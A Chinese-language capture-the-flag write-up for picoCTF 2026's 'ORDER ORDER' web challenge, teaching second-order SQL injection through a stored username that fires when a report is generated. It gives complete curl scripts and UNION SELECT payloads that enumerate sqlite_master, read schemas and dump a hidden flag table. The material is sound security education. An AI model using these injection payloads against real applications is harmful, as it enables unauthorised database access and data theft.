10 min read

picoCTF 2026 ORDER ORDER

picoCTF 2026 ORDER ORDER

這題是 picoCTF 2026 的 Web 題:ORDER ORDER

題目描述很短:

Can you try to get the flag from our website. I've prepared my queries everywhere! I think!

一開始看到 prepared my queries everywhere,直覺會想到 SQL injection,可是這題真正值得學的地方不是「看到輸入框就打一個 ' OR 1=1--」,而是要理解:

有些 SQL injection 不是當下爆,而是被存起來,之後才爆。

這就是二階 SQL Injection。

題目資訊

這篇會照實際解題流程寫,重點不是背最終 payload,而是紀錄中間每一步怎麼觀察、怎麼修正、怎麼確認自己的推論。

什麼是二階 SQL Injection

一般的一階 SQL Injection 是:

輸入 payload -> 後端立刻拿去查 SQL -> 當場看到結果或錯誤

例如登入框直接送:

' OR 1=1--

如果後端當下把它拼進 SQL,可能馬上登入成功或跳錯。

二階 SQL Injection 不太一樣:

第一階段:payload 被存進資料庫
第二階段:後面某個功能把這筆資料拿出來,再拼進 SQL
第三階段:漏洞才被觸發

所以 payload 長得可能跟普通 SQLi 很像,但是測法不同,你不能只看註冊當下有沒有爆,還要找後面哪個功能會再次使用這個資料,

這題的「儲存點」是 username

這題的「觸發點」是 Generate Report

Step 1:先做基本偵查

先設定目標:

BASE='http://crystal-peak.picoctf.net:51724'

抓首頁:

curl -sS -i -c cookies.txt "$BASE/" -o 00_home.http
sed -n '1,220p' 00_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 00_home.http

首頁可以看到:

<li><a href="/signup">Sign up</a></li>
<li><a href="/login">Login</a></li>

先註冊一個正常帳號,登入後再看有哪些功能:

USER="u$(date +%s)"
EMAIL="[email protected]"
PASS="Passw0rd!"

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" \
  -o 02_signup_post.http

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 03_login_post.http

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/" -o 04_authed_home.http
grep -Eoi 'href="[^"]+"|action="[^"]+"|method="[^"]+"|name="[^"]+"' 04_authed_home.http

登入後看到:

<li><a href="/dashboard">Dashboard</a></li>
<li><a href="/expenses">Expenses</a></li>
<li><a href="/inbox">Inbox</a></li>
<li><a href="/logout">Logout</a></li>

接著看 /expenses

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/expenses" -o expenses.http
sed -n '1,260p' expenses.http

可以看到兩個表單:

<form method="POST" action="/expenses">
  <input id="description" type="text" name="description" required>
  <input id="amount" type="number" step="0.01" name="amount" required>
  <input id="date" type="date" name="date" required>
</form>

<form method="POST" action="/generate_report">
  <button type="submit">Generate Report</button>
</form>

這時候我們知道至少有兩條線可以測:

  • description / amount / date 這些 expense 欄位
  • username,因為報表一定要知道「目前使用者是誰」

Step 2:先產生一次正常報表

按一次 Generate Report:

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/generate_report" -o 05_report.http
sleep 11

curl -sS -i -b cookies.txt -c cookies.txt "$BASE/inbox" -o 06_inbox.http
grep -Eoi 'href="[^"]+"' 06_inbox.http

Inbox 裡會出現下載點:

/download_report/1

下載 CSV:

curl -sS -L -b cookies.txt "$BASE/download_report/1" -o normal.csv
cat normal.csv

結果:

description,amount,date

這個輸出雖然看起來很空,但其實有一個重要資訊:

報表輸出是三欄:description, amount, date

如果後面要用 UNION SELECT,我們也要湊出三欄。

Step 3:怎麼知道是 username 出問題

這是本題最關鍵的觀察。

我們不是一開始就知道 username 有二階注入,而是從資料流去猜:

報表要查目前登入者的 expense
後端可能用 username 或 user_id 當條件
如果它用 username 拼 SQL,就可能有事

所以先註冊一個 username 裡只有單引號的帳號:

C=quote_test.txt
USER="qt$(date +%s)'"
EMAIL="qt$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o quote_inbox.html
grep -Ei 'failed|error|unrecognized|syntax|download_report|Expense report' quote_inbox.html

結果出現:

Report generation failed. Cause unrecognized token: "'qt1788089522''"

這行幾乎等於後端在跟我們說:

我產生報表時,把你的 username 拿去組 SQL 了
而且你的單引號把 SQL 弄壞了

如果後端是安全地用 user_id 查資料,或是正確使用 prepared statement,這個錯誤就不應該出現,所以這一步不是在拿 flag,而是在確認:

username 是儲存點,Generate Report 是觸發點。

Step 4:用 marker 證明我們可以控制輸出

接下來要從「可以讓 SQL 報錯」進到「可以控制 SQL 查詢結果」。

這時候我會放一個 marker,

marker 就是我們故意塞進去的標記,例如:

VULN

它不是 flag,也不是特殊指令,只是用來確認資料有沒有照我們的意思流出來。

payload:

mk123' UNION SELECT 'VULN',123,'2026-01-01'--

完整測試:

C=marker.txt
USER="mk$(date +%s)' UNION SELECT 'VULN',123,'2026-01-01'--"
EMAIL="mk$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o marker_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' marker_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o marker.csv
cat marker.csv

結果:

description,amount,date
VULN,123,2026-01-01

這個結果很重要。

它代表:

我們註冊時放進 username 的 SQL
真的在 Generate Report 時被執行
而且結果被寫進 CSV

如果把後端 SQL 想像成這樣:

SELECT description, amount, date
FROM expenses
WHERE username = '<USERNAME>';

那 username 塞入 payload 後,就會變成:

SELECT description, amount, date
FROM expenses
WHERE username = 'mk123'
UNION SELECT 'VULN',123,'2026-01-01'--';

這裡三個符號很關鍵:

  • ':關閉原本的 username 字串
  • UNION SELECT:把我們自己的查詢結果接到報表結果後面
  • --:註解掉後端原本補上的尾巴

Step 5:從 CSV 欄位反推 UNION 欄位數

前面正常報表已經告訴我們:

description,amount,date

所以原本查詢大概是三欄:

SELECT description, amount, date
FROM expenses
...

UNION SELECT 的規則是:左右兩邊欄位數要一致。

所以我們的 payload 也要三欄:

UNION SELECT 'VULN',123,'2026-01-01'

這就是為什麼 marker 測試不是隨便寫:

第一欄:放文字 VULN,對應 description
第二欄:放數字 123,對應 amount
第三欄:放日期字串,對應 date

如果欄位數不對,通常會看到類似:

SELECTs to the left and right of UNION do not have the same number of result columns

但這題剛好 CSV 表頭已經把三欄提示得很清楚。

Step 6:確認資料庫類型,枚舉資料表

錯誤訊息中出現 unrecognized token,加上 Python/Werkzeug 題目常見組合,這裡很像 SQLite。

SQLite 的 schema 資訊可以從 sqlite_master 查:

C=tables_51724.txt
USER="tb$(date +%s)' UNION SELECT name,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="tb$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o tables_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' tables_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o tables_51724.csv
cat tables_51724.csv

結果:

description,amount,date
aDNyM19uMF9mMTRn,0,2026-01-01
expenses,0,2026-01-01
inbox,0,2026-01-01
reports,0,2026-01-01
sqlite_sequence,0,2026-01-01
users,0,2026-01-01

這裡可以先做一個判斷:

  • expenses:正常業務表
  • inbox:正常業務表
  • reports:正常業務表
  • users:正常業務表
  • sqlite_sequence:SQLite 自動遞增用的系統表
  • aDNyM19uMF9mMTRn:很可疑

CTF 題目裡,這種亂碼表名通常不是裝飾,

不過先不要直接 dump,比較穩的做法是先看 schema。

Step 7:查 schema,確認欄位名稱

查所有 table 的 CREATE TABLE

C=schema_51724.txt
USER="sc$(date +%s)' UNION SELECT sql,0,'2026-01-01' FROM sqlite_master WHERE type='table'--"
EMAIL="sc$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o schema_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' schema_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o schema_51724.csv
cat schema_51724.csv

可疑表的 schema:

CREATE TABLE aDNyM19uMF9mMTRn (
  name TEXT PRIMARY KEY,
  value TEXT NOT NULL
)

現在資訊很完整了:

可疑表:aDNyM19uMF9mMTRn
欄位:name, value
報表輸出欄位數:3

所以最後只要把 namevalue 映射到報表的前兩欄,再補一個日期欄位即可。

Step 8:dump 可疑表

payload:

dp123' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--

完整測試:

C=dump_51724.txt
USER="dp$(date +%s)' UNION SELECT name,value,'2026-01-01' FROM aDNyM19uMF9mMTRn--"
EMAIL="dp$(date +%s)@t.local"
PASS="Passw0rd!"

curl -sS -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "email=$EMAIL" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" > /dev/null

curl -sS -b "$C" -c "$C" -X POST "$BASE/generate_report" > /dev/null
sleep 11

curl -sS -b "$C" "$BASE/inbox" -o dump_51724_inbox.html
DL="$(grep -Eo '/download_report/[0-9]+' dump_51724_inbox.html | tail -1)"
curl -sS -L -b "$C" "$BASE$DL" -o dump_51724.csv
cat dump_51724.csv

結果:

description,amount,date
flag,picoCTF{Redacted},2026-01-01

Flag:

picoCTF{Redacted}

中間 SQL 是怎麼反推的

這不是憑空猜 payload,而是每一步都在問網站一個小問題:

你有幾欄?
你是不是 SQLite?
你有哪些 table?
你的可疑 table 有哪些欄位?
我要怎麼把那些欄位塞回 CSV?

這也是為什麼 marker 很重要,如果一開始就直接查 flag,雖然可能會成功,但學不到中間的判斷能力,marker 的作用是把「我覺得有洞」變成「我可以證明自己控制到 SQL 查詢結果」。

學習重點

這題我覺得最值得帶走的不是 SQLite 語法,而是這個思考方式:

找儲存點
找觸發點
用單引號確認 SQL 是否被污染
用 marker 確認輸出是否可控
用 schema 枚舉降低猜測
最後才查真正目標

以後看到這類功能時,可以特別注意:

  • 註冊 username 後,哪裡會再次顯示或查詢 username?
  • 商品名稱、訂單名稱、專案名稱、資料夾名稱是否會被後台報表重用?
  • 匯出 CSV、PDF、Excel 時,是否會重新組 SQL?
  • 管理後台搜尋、排序、報表、統計功能是否吃到使用者先前輸入的資料?

很多時候,真正有問題的不是輸入框本身,而是幾分鐘後、幾個頁面後、甚至另一個背景 worker 裡的那段查詢,這也是二階 SQL Injection 有趣的地方。

它不是一拳打在門上,而是先把東西放進系統裡,等系統自己拿出來用的時候,才發現那東西其實會改變查詢的意思。